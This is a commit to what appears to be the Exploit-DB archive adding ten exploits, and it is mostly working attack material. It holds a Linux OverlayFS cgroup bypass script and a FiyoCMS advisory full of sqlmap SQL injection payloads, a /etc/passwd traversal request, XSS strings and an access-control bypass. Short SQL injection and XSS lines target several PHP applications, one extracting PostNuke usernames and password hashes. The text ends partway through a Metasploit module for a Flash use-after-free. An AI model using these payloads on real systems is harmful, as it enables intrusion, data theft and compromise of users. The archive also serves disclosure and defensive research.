DB: 2015-04-01
10 new exploits
This commit is contained in:
Offensive Security
parent
1f826038cf
commit
a8db14d8d4
11 changed files with 541 additions and 1 deletions
12
files.csv
12
files.csv
|
|
@ -32980,9 +32980,19 @@ id,file,description,date,author,platform,type,port
|
|||
36560,platforms/php/webapps/36560.txt,"Joomla Gallery WD Component - SQL Injection Vulnerability",2015-03-30,"Crash bandicot",php,webapps,0
|
||||
36561,platforms/php/webapps/36561.txt,"Joomla Contact Form Maker 1.0.1 Component - SQL injection vulnerability",2015-03-30,"TUNISIAN CYBER",php,webapps,0
|
||||
36563,platforms/php/webapps/36563.txt,"Joomla Gallery WD - SQL Injection Vulnerability",2015-03-30,"Crash bandicot",php,webapps,0
|
||||
36564,platforms/linux/local/36564.txt,"Fedora21 setroubleshootd Local Root PoC",2015-03-30,"Sebastian Krahmer",linux,local,0
|
||||
36564,platforms/linux/local/36564.txt,"Fedora 21 - setroubleshootd Local Root PoC",2015-03-30,"Sebastian Krahmer",linux,local,0
|
||||
36565,platforms/php/webapps/36565.txt,"ATutor 2.0.3 Multiple Cross Site Scripting Vulnerabilities",2012-01-16,"Stefan Schurtz",php,webapps,0
|
||||
36566,platforms/php/webapps/36566.txt,"Beehive Forum 101 Multiple Cross Site Scripting Vulnerabilities",2012-01-16,"Stefan Schurtz",php,webapps,0
|
||||
36567,platforms/php/webapps/36567.txt,"phpVideoPro 0.8.x/0.9.7 Multiple Cross Site Scripting Vulnerabilities",2012-01-16,"Stefan Schurtz",php,webapps,0
|
||||
36568,platforms/php/webapps/36568.txt,"Giveaway Manager 'members.php' Cross Site Scripting Vulnerability",2012-01-16,Am!r,php,webapps,0
|
||||
36569,platforms/php/webapps/36569.txt,"Annuaire PHP 'sites_inscription.php' Multiple Cross Site Scripting Vulnerabilities",2012-01-16,Atmon3r,php,webapps,0
|
||||
36570,platforms/multiple/dos/36570.txt,"Rockwell Automation FactoryTalk Activation Server - Multiple Denial of Service Vulnerabilities",2012-01-17,"Luigi Auriemma",multiple,dos,0
|
||||
36571,platforms/linux/local/36571.sh,"OverlayFS inode Security Checks 'inode.c' Local Security Bypass Vulnerability",2012-01-17,"Gary Poster",linux,local,0
|
||||
36572,platforms/php/webapps/36572.txt,"Toner Cart 'show_series_ink.php' SQL Injection Vulnerability",2012-01-18,Lazmania61,php,webapps,0
|
||||
36573,platforms/php/webapps/36573.txt,"MMORPG Zone 'view_news.php' SQL Injection Vulnerability",2012-01-18,Lazmania61,php,webapps,0
|
||||
36574,platforms/php/webapps/36574.txt,"Freelance Zone 'show_code.php' SQL Injection Vulnerability",2012-01-18,Lazmania61,php,webapps,0
|
||||
36579,platforms/windows/remote/36579.rb,"Adobe Flash Player ByteArray With Workers Use After Free",2015-03-31,metasploit,windows,remote,0
|
||||
36580,platforms/windows/webapps/36580.rb,"Palo Alto Traps Server 3.1.2.1546 - Persistent XSS Vulnerability",2015-03-31,"Michael Hendrickx",windows,webapps,0
|
||||
36581,platforms/php/webapps/36581.txt,"Fiyo CMS 2.0.1.8 - Multiple Vulnerabilities",2015-03-31,Mahendra,php,webapps,80
|
||||
36582,platforms/php/webapps/36582.txt,"OneOrZero AIMS 'index.php' Cross Site Scripting Vulnerability",2012-01-18,"High-Tech Bridge SA",php,webapps,0
|
||||
36583,platforms/php/webapps/36583.txt,"PostNuke pnAddressbook Module 'id' Parameter SQL Injection Vulnerability",2012-01-19,"Robert Cooper",php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
51
platforms/linux/local/36571.sh
Executable file
51
platforms/linux/local/36571.sh
Executable file
|
|
@ -0,0 +1,51 @@
|
|||
source: http://www.securityfocus.com/bid/51529/info
|
||||
|
||||
OverlayFS is prone to a local security-bypass vulnerability.
|
||||
|
||||
Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions.
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
ddir=`cat /proc/self/mountinfo | grep cgroup | grep devices | awk '{ print $5 }'`
|
||||
if [ "x$ddir" = "x" ]; then
|
||||
echo "couldn't find devices cgroup mountpoint"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# create new cgroup
|
||||
ndir=`mktemp -d --tmpdir=$ddir exploit-XXXX`
|
||||
|
||||
# create a directory onto which we mount the overlay
|
||||
odir=`mktemp -d --tmpdir=/mnt exploit-XXXX`
|
||||
|
||||
# create the directory to be the overlay dir (where changes
|
||||
# will be written)
|
||||
udir=`mktemp -d --tmpdir=/tmp exploit-XXX`
|
||||
|
||||
mount -t overlayfs -oupperdir=$udir,lowerdir=/dev none $odir
|
||||
echo $$ > $ndir/tasks
|
||||
# deny all device actions
|
||||
echo a > $ndir/devices.deny
|
||||
# but allow mknod of tty7, bc we have to mknod it in the writeable
|
||||
# overlay
|
||||
echo "c 4:5 m" > $ndir/devices.allow
|
||||
echo "devices.list: XXXXXXXXXXXXXXX"
|
||||
cat $ndir/devices.list
|
||||
echo "XXXXXXXXXXXX"
|
||||
|
||||
# try writing to /dev/tty5 - not allowed
|
||||
echo x > /dev/tty5
|
||||
echo "write to /dev/tty5 returned $?"
|
||||
|
||||
# try writing to tty5 on the overlayfs - SHOULD not be allowed
|
||||
echo y > $odir/tty5
|
||||
echo "write to $odir/tty5 returned $?"
|
||||
|
||||
umount $odir
|
||||
rmdir $odir
|
||||
rm -rf $udir
|
||||
|
||||
# move ourselves back to root cgroup (else we can't delete the temp one
|
||||
# bc it's occupied - by us)
|
||||
echo $$ > $ddir/tasks
|
||||
rmdir $ndir
|
||||
7
platforms/multiple/dos/36570.txt
Executable file
7
platforms/multiple/dos/36570.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/51444/info
|
||||
|
||||
Rockwell Automation FactoryTalk Activation Server is prone to multiple remote denial-of-service vulnerabilities.
|
||||
|
||||
An attacker can exploit these issues to crash the affected application, denying service to legitimate users.
|
||||
|
||||
http://www.exploit-db.com/sploits/36570.zip
|
||||
7
platforms/php/webapps/36572.txt
Executable file
7
platforms/php/webapps/36572.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/51530/info
|
||||
|
||||
Toner Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/united/show_series_ink.php?id=1â??a
|
||||
7
platforms/php/webapps/36573.txt
Executable file
7
platforms/php/webapps/36573.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/51532/info
|
||||
|
||||
MMORPG Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/games/view_news.php?news_id=7â??a
|
||||
7
platforms/php/webapps/36574.txt
Executable file
7
platforms/php/webapps/36574.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/51533/info
|
||||
|
||||
Freelance Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/freelance/show_code.php?code_id=8â??a
|
||||
193
platforms/php/webapps/36581.txt
Executable file
193
platforms/php/webapps/36581.txt
Executable file
|
|
@ -0,0 +1,193 @@
|
|||
# Exploit Title: FiyoCMS Multiple Vulnerabilities
|
||||
# Date: 29 March 2015
|
||||
# Exploit Author: Mahendra
|
||||
# Vendor Homepage: www.fiyo.org
|
||||
# Software Link: http://sourceforge.net/projects/fiyo-cms/
|
||||
# Version: 2.0.1.8, other version might be vulnerable.
|
||||
# Tested : Kali Linux 1.0.9a-amd64
|
||||
# CVE(s): CVE-2014-9145,CVE-2014-9146,CVE-2014-9147,CVE-2014-9148
|
||||
|
||||
*Advisory Timeline*
|
||||
30-11-2014: Vendor notified and responded back
|
||||
01-12-2014: Vulnerabilities provided to vendor
|
||||
03-14-2015: Vendor released newer version claimed to fix the vulnerabilities
|
||||
29-03-2015: Advisory released
|
||||
|
||||
----------------------------------------------------
|
||||
FiyoCMS 2.0.1.8 SQL injection, XSS, Direct URL bypass
|
||||
----------------------------------------------------
|
||||
*Advisory details*
|
||||
|
||||
Several security issues have been identified on the latest FiyoCMS platform.
|
||||
|
||||
|
||||
*Proof of Concept (PoC)*
|
||||
|
||||
----------------------------------------------------
|
||||
Multiple SQL Injection - CVE-2014-9145
|
||||
----------------------------------------------------
|
||||
|
||||
* PoC:
|
||||
|
||||
http://192.168.248.132/fiyo/dapur/index.php?app=user&act=edit&id=1[sqli]
|
||||
|
||||
* Sqlmap:
|
||||
|
||||
Parameter: id
|
||||
Type: UNION query
|
||||
Title: MySQL UNION query (NULL) - 10 columns
|
||||
Payload: app=user&act=edit&id=-7672 UNION ALL SELECT NULL,NULL,CONCAT(0x7171676471,0x66457070464452786c58,0x716a767471),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL > 5.0.11 AND time-based blind
|
||||
Payload: app=user&act=edit&id=1 AND SLEEP(5)
|
||||
|
||||
* PoC:
|
||||
|
||||
http://192.168.248.132/fiyo/dapur/apps/app_article/controller/article_list.php?cat=[sqli]&user=[sqli]&level=[sqli]&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
* Sqlmap:
|
||||
|
||||
Parameter: cat
|
||||
Type: error-based
|
||||
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
|
||||
Payload: cat=' AND (SELECT 4352 FROM(SELECT COUNT(*),CONCAT(0x71666f7671,(SELECT (CASE WHEN (4352=4352) THEN 1 ELSE 0 END)),0x7164687671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'yeEe'='yeEe&user=&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
Type: UNION query
|
||||
Title: MySQL UNION query (NULL) - 10 columns
|
||||
Payload: cat=' UNION ALL SELECT NULL,CONCAT(0x71666f7671,0x4f654364434f746c7477,0x7164687671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&user=&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
|
||||
Payload: cat=' AND 2332=BENCHMARK(5000000,MD5(0x4a495770)) AND 'RlLS'='RlLS&user=&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
Parameter: level
|
||||
Type: error-based
|
||||
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
|
||||
Payload: cat=&user=&level=' AND (SELECT 6522 FROM(SELECT COUNT(*),CONCAT(0x71666f7671,(SELECT (CASE WHEN (6522=6522) THEN 1 ELSE 0 END)),0x7164687671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Pqqp'='Pqqp&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
Type: UNION query
|
||||
Title: MySQL UNION query (NULL) - 10 columns
|
||||
Payload: cat=&user=&level=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71666f7671,0x6163446a67456e557a48,0x7164687671),NULL,NULL,NULL#&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
|
||||
Payload: cat=&user=&level=' AND 6567=BENCHMARK(5000000,MD5(0x57586864)) AND 'hMLH'='hMLH&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
|
||||
Parameter: user
|
||||
Type: error-based
|
||||
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
|
||||
Payload: cat=&user=' AND (SELECT 8990 FROM(SELECT COUNT(*),CONCAT(0x71666f7671,(SELECT (CASE WHEN (8990=8990) THEN 1 ELSE 0 END)),0x7164687671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VhKM'='VhKM&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
Type: UNION query
|
||||
Title: MySQL UNION query (NULL) - 10 columns
|
||||
Payload: cat=&user=' UNION ALL SELECT NULL,CONCAT(0x71666f7671,0x4652577247546e6b5241,0x7164687671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
|
||||
Payload: cat=&user=' AND 1262=BENCHMARK(5000000,MD5(0x72797451)) AND 'egJe'='egJe&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913
|
||||
|
||||
* PoC:
|
||||
POST /fiyo/dapur/apps/app_user/controller/check_user.php HTTP/1.1
|
||||
Host: 192.168.248.132
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Referer: http://192.168.248.132/fiyo/dapur/index.php?app=user&act=add
|
||||
Content-Length: 42
|
||||
Cookie: PHPSESSID=0nij9ucentr8p4ih41d0p61476; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
|
||||
Connection: keep-alive
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache
|
||||
|
||||
act=email&email=test@asdas.com[sqli]
|
||||
|
||||
* Sqlmap:
|
||||
|
||||
Parameter: email
|
||||
Type: boolean-based blind
|
||||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
Payload: act=email&email=test@asdas.com' AND 5514=5514 AND 'KTqH'='KTqH
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL > 5.0.11 AND time-based blind
|
||||
Payload: act=email&email=test@asdas.com' AND SLEEP(5) AND 'UjqT'='UjqT
|
||||
|
||||
* PoC:
|
||||
|
||||
POST /fiyo/dapur/apps/app_user/controller/check_user.php HTTP/1.1
|
||||
Host: 192.168.248.132
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Referer: http://192.168.248.132/fiyo/dapur/index.php?app=user&act=add
|
||||
Content-Length: 34
|
||||
Cookie: PHPSESSID=0nij9ucentr8p4ih41d0p61476; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
|
||||
Connection: keep-alive
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache
|
||||
|
||||
act=user&username=test[sqli]
|
||||
|
||||
* Sqlmap:
|
||||
|
||||
Parameter: username
|
||||
Type: boolean-based blind
|
||||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
Payload: act=user&username=test' AND 5514=5514 AND 'KTqH'='KTqH
|
||||
|
||||
Type: AND/OR time-based blind
|
||||
Title: MySQL > 5.0.11 AND time-based blind
|
||||
Payload: act=user&username=test' AND SLEEP(5) AND 'UjqT'='UjqT
|
||||
|
||||
--------------------------------------------------------------------
|
||||
Directory Traversal - kcfinder plugins - CVE-2014-1222
|
||||
--------------------------------------------------------------------
|
||||
|
||||
FiyoCMS was identified to be using an outdated KCFinder plugin which vulnerable to directory traversal attack.
|
||||
|
||||
POST /fiyo//plugins/plg_kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
|
||||
Host: 192.168.248.132
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://192.168.248.132/fiyo//plugins/plg_kcfinder/browse.php?type=files
|
||||
Cookie: PHPSESSID=0nij9ucentr8p4ih41d0p61476; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 34
|
||||
|
||||
dir=files&file=../../../../../../../etc/passwd
|
||||
|
||||
----------------------------------------------------
|
||||
Reflected XSS - CVE-2014-9146
|
||||
----------------------------------------------------
|
||||
|
||||
http://192.168.248.132/fiyo/?app=article&view=item31ab2"><script>alert(1)</script>0ccba&id=186
|
||||
http://192.168.248.132/fiyo/?app=article&view=item&id=18690fdb"><script>alert(1)</script>d99c9
|
||||
http://192.168.248.132/fiyo/?page=5eac15eac1"><script>alert(1)</script>774f2
|
||||
http://192.168.248.132/fiyo/?app=article95ce1"><script>alert(1)</script>298ab&view=item&id=186
|
||||
http://192.168.248.132/fiyo/dapur/index.php?app=module&act=edit%22%3E%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&id=5
|
||||
|
||||
|
||||
----------------------------------------------------
|
||||
Direct URL Access - CVE-2014-9147
|
||||
----------------------------------------------------
|
||||
To download database backup without any authentications required.
|
||||
http://192.168.248.132/fiyo/.backup/[db_backup.sql filename]
|
||||
|
||||
----------------------------------------------------
|
||||
Access Control Bypass - CVE-2014-9148
|
||||
----------------------------------------------------
|
||||
|
||||
To access super administrator functions "Install & Update" and "Backup" by administrator user, just go directly to the URL below:
|
||||
1. http://192.168.248.132/fiyo/dapur/?app=config&view=backup
|
||||
2. http://192.168.248.132/fiyo/dapur/?app=config&view=install
|
||||
9
platforms/php/webapps/36582.txt
Executable file
9
platforms/php/webapps/36582.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/51549/info
|
||||
|
||||
OneOrZero AIMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
OneOrZero AIMS 2.8.0 Trial build 231211 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
|
||||
7
platforms/php/webapps/36583.txt
Executable file
7
platforms/php/webapps/36583.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/51566/info
|
||||
|
||||
The pnAddressbook module for PostNuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database
|
||||
|
||||
http://www.example.com/index.php module=pnAddressBook&func=viewDetail&formcall=edit&authid=2a630bd4b1cc5e7d03ef3ab28fb5e838&catview=0&sortview=0&formSearch=&all=1&menuprivate=0&total=78&page=1&char=&id=-46 union all select 1,2,3,group_concat(pn_uname,0x3a,pn_pass)
|
||||
107
platforms/windows/remote/36579.rb
Executable file
107
platforms/windows/remote/36579.rb
Executable file
|
|
@ -0,0 +1,107 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player ByteArray With Workers Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits an use after free vulnerability in Adobe Flash Player. The
|
||||
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
|
||||
is freed from an ActionScript worker, who can fill the memory and notify the main
|
||||
thread to corrupt the new contents. This module has been tested successfully on
|
||||
Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and exploit in the wild
|
||||
'hdarwin', # Public exploit by @hdarwin89 (all the magic)
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0313'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
|
||||
['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
